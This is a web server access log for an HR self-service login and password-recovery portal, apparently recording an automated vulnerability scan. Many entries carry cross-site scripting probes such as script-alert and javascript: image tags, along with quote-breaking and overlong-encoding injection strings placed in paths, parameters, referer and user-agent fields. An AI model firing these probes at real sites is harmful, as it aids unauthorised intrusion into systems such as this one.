100.64.0.1 - - [05/Dec/2025:21:50:39 +0800] "GET /favicon.ico HTTP/1.1" 404 209 100.64.0.1 - - [05/Dec/2025:21:50:38 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:38 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:39 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:39 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:39 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 """ "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:39 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 100.64.0.1 - - [05/Dec/2025:21:50:40 +0800] "GET /ehr/img/login.swf/\"> HTTP/1.1" 404 264 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:40 +0800] "GET /ehr/img/login.swf/\"> HTTP/1.1" 404 264 100.64.0.1 - - [05/Dec/2025:21:50:40 +0800] "GET /ehr/img/login.swf/%22%3e%3cscript%3ealert%2828%29%3c%2fscript%3e HTTP/1.1" 404 264 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:40 +0800] "GET /ehr/img/login.swf/%22%3e%3cscript%3ealert%2828%29%3c%2fscript%3e HTTP/1.1" 404 264 100.64.0.1 - - [05/Dec/2025:21:50:39 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 "http://hcp.maglayers.com.cn:8088/ehr/ess/includes/login.php" "\"'>" 100.64.0.1 - - [05/Dec/2025:21:50:39 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 100.64.0.1 - - [05/Dec/2025:21:50:40 +0800] "GET /ehr/ess/nonexistingurl.php HTTP/1.1" 404 224 "http://hcp.maglayers.com.cn:8088/ehr/ess/includes/login.php" "\"'>" 100.64.0.1 - - [05/Dec/2025:21:50:40 +0800] "GET /ehr/ess/nonexistingurl.php HTTP/1.1" 404 224 100.64.0.1 - - [05/Dec/2025:21:50:39 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:39 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:40 +0800] "GET /ehr/img/login.swf/%3cimg%20src%3d%22javascript%3aalert%2829%29%22%3e HTTP/1.1" 404 264 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:40 +0800] "GET /ehr/img/login.swf/%3cimg%20src%3d%22javascript%3aalert%2829%29%22%3e HTTP/1.1" 404 264 100.64.0.1 - - [05/Dec/2025:21:50:40 +0800] "POST /ehr/img/login.swf/%22%3e%3cscript%3ealert%2830%29%3c%2fscript%3e HTTP/1.1" 404 264 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:40 +0800] "POST /ehr/img/login.swf/%22%3e%3cscript%3ealert%2830%29%3c%2fscript%3e HTTP/1.1" 404 264 100.64.0.1 - - [05/Dec/2025:21:50:40 +0800] "POST /ehr/img/login.swf/%3cimg%20src%3d%22javascript%3aalert%2831%29%22%3e HTTP/1.1" 404 264 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:40 +0800] "POST /ehr/img/login.swf/%3cimg%20src%3d%22javascript%3aalert%2831%29%22%3e HTTP/1.1" 404 264 100.64.0.1 - - [05/Dec/2025:21:50:39 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:39 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:50:40 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:40 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:50:40 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:40 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 100.64.0.1 - - [05/Dec/2025:21:50:40 +0800] "GET /ehr/css/blueprint/screen.css HTTP/1.1" 200 11552 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:40 +0800] "GET /ehr/css/blueprint/screen.css HTTP/1.1" 200 11552 100.64.0.1 - - [05/Dec/2025:21:50:40 +0800] "GET /ehr/css/default.css?m=20130917 HTTP/1.1" 200 8445 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:40 +0800] "GET /ehr/css/default.css?m=20130917 HTTP/1.1" 200 8445 100.64.0.1 - - [05/Dec/2025:21:50:39 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "%c0%a7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:39 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:50:41 +0800] "GET /ehr/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:41 +0800] "GET /ehr/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 100.64.0.1 - - [05/Dec/2025:21:50:39 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "'" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:39 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:41 +0800] "GET /ehr/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:41 +0800] "GET /ehr/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 100.64.0.1 - - [05/Dec/2025:21:50:41 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:41 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 100.64.0.1 - - [05/Dec/2025:21:50:41 +0800] "GET /ehr/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:41 +0800] "GET /ehr/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 100.64.0.1 - - [05/Dec/2025:21:50:40 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:40 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:50:41 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:41 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 100.64.0.1 - - [05/Dec/2025:21:50:41 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:41 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 100.64.0.1 - - [05/Dec/2025:21:50:41 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:41 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 100.64.0.1 - - [05/Dec/2025:21:50:41 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:41 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 100.64.0.1 - - [05/Dec/2025:21:50:41 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:41 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 100.64.0.1 - - [05/Dec/2025:21:50:41 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:41 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 100.64.0.1 - - [05/Dec/2025:21:50:41 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:41 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 100.64.0.1 - - [05/Dec/2025:21:50:41 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:41 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 100.64.0.1 - - [05/Dec/2025:21:50:40 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 "%c0%a7" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:40 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 100.64.0.1 - - [05/Dec/2025:21:50:41 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:41 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 100.64.0.1 - - [05/Dec/2025:21:50:41 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:41 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 100.64.0.1 - - [05/Dec/2025:21:50:40 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:40 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:50:40 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "'" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:40 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:41 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:41 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 100.64.0.1 - - [05/Dec/2025:21:50:41 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:41 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 100.64.0.1 - - [05/Dec/2025:21:50:41 +0800] "GET /ehr/img/ares.ico HTTP/1.1" 200 1406 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:41 +0800] "GET /ehr/img/ares.ico HTTP/1.1" 200 1406 100.64.0.1 - - [05/Dec/2025:21:50:41 +0800] "GET /ehr/img/title.png HTTP/1.1" 200 1205 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:41 +0800] "GET /ehr/img/title.png HTTP/1.1" 200 1205 100.64.0.1 - - [05/Dec/2025:21:50:41 +0800] "GET /ehr/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:41 +0800] "GET /ehr/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 100.64.0.1 - - [05/Dec/2025:21:50:41 +0800] "GET /ehr/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:41 +0800] "GET /ehr/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 100.64.0.1 - - [05/Dec/2025:21:50:40 +0800] "GET /ehr/ess/lostpassword.php/\"> HTTP/1.1" 302 241 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:40 +0800] "GET /ehr/ess/lostpassword.php/\"> HTTP/1.1" 302 241 100.64.0.1 - - [05/Dec/2025:21:50:42 +0800] "GET /ehr/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:42 +0800] "GET /ehr/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 100.64.0.1 - - [05/Dec/2025:21:50:42 +0800] "GET /ehr/img/ares.ico HTTP/1.1" 200 1406 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:42 +0800] "GET /ehr/img/ares.ico HTTP/1.1" 200 1406 100.64.0.1 - - [05/Dec/2025:21:50:41 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:41 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:50:42 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php?loginerror=Attack+error.AppScanInfo=attXssAnalyzerDomBasedanalyzeXssFragmentAppendlcprobepa000003" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:42 +0800] "GET /favicon.ico HTTP/1.1" 404 209 100.64.0.1 - - [05/Dec/2025:21:50:41 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:41 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:41 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%23%26%3C%28%2C%2B%22%3E%3B HTTP/1.1" 200 6699 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:41 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%23%26%3C%28%2C%2B%22%3E%3B HTTP/1.1" 200 6699 100.64.0.1 - - [05/Dec/2025:21:50:41 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd%23%26%3C%28%2C%2B%22%3E%3B&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:41 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd%23%26%3C%28%2C%2B%22%3E%3B&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:50:42 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd%23%26%3C%28%2C%2B%22%3E%3B&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:42 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:50:41 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 "'\">" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:41 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 100.64.0.1 - - [05/Dec/2025:21:50:41 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:41 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:42 +0800] "GET /ehr/ess/lostpassword.php/\">?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 241 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php/\">" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:42 +0800] "GET /ehr/ess/lostpassword.php/\">?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 241 100.64.0.1 - - [05/Dec/2025:21:50:43 +0800] "GET /ehr/ess/lostpassword.php/%22%3e%3cscript%3ealert%2836%29%3c%2fscript%3e HTTP/1.1" 404 271 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" 